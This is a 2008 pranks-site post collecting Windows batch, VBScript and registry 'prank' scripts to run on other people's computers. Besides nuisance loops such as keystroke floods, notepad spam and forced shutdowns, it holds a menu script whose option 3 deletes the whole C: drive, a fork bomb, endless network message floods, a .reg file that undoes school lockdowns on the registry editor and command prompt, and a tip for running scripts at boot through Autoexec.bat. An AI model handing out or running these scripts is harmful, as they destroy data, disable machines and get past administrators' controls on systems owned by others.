Compilation of scripts or batch files!

Posted At : August 1, 2008 3:56 PM | Posted By : Pranks Admin
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THIS IS NOT ALL MY WORK! This is just a compilation of what I have learned from others! I try to give credit to the original authors! I just want people to have a reference point for batch and simple VBS

Code:

shutdown -s
pause
shutdown -a
pause
msg * wasn't that scary?!
exit

This batch file would begin to shutdown your computer then cancel it, then pop up the message and exit. Harmless

Code:

@echo off
msg * I don't like you
shutdown -c "error! you are too stupid!" -s

This batch file would pop up a message then shutdown your computer

Code:

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop

This .vbs file would continually open up notepad!

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

This Vbs file would make capslock go on and off repeating!

Props to Jabber

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

This Vbs script would continually pop out your CD Drive. If you have more than one, it pops out all of them! Props to Blacksun!

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

This Vbs script acts like you are continually hitting enter. files will open and everything! It is nearly impossible to get to task manager and stop it!

Code:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

This Vbs script opens notepad, then slowly types "Hello, how are you? I am good thanks!" as if someone is watching you! I apologize to whoever made this one first! I forgot who it was! PM me and I will edit that

Code:

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

VBS script that pops up a message then acts like you are continually hitting backspace

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

VBS script that keeps typing "you are a fool!" Props to Jabber!!

Code:

REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0

.reg file that enables command prompt and registry editor! Great for schools!

Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Batch file that opens up notepads continually

Code:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Batch file that cycles messages

Code:

@ECHO off
:Begin
net send * I like cheese!
GOTO begin

Batch file that net sends I like cheese to your entire network! Be careful because it doesn't stop until you x out of command prompt and it also displays who it comes from. To solve this, just get the net send file from exit-reality.net

Code:

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. die this way (wimp)
echo 2. die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. die this way (you're boring)
echo 5. easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
:one
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end

My pick your poison batch file. It asks you to choose a number 1-5 then does a certain action:
1: shutdown
2: restart
3: wipes out your hard drive (BEWARE)
4: net send
5: messages then shutdown

Code:

shutdown -r

Code:

shutdown -s

Code:

shutdown -f

different forms of the shutdown command. -r is restart, -s is 30 sec countdown, -f is forced.

Code:

@ECHO OFF
:START
START batch.bat
GOTO START

This is called fork bombing....make sure to name this batch file batch.bat

Note For Noobs: Batch files are those with .bat extension and are used to run the scripts on windows. If you want to run any script automatically then rename that batch file as Autoexec.bat and place it in C:\ 'C: Drive'. Autoexec executes automatically on bootup process. And ofcourse to create a batch file just open your notepad type the code and save it with extension .bat

That's all!
Have Fun!

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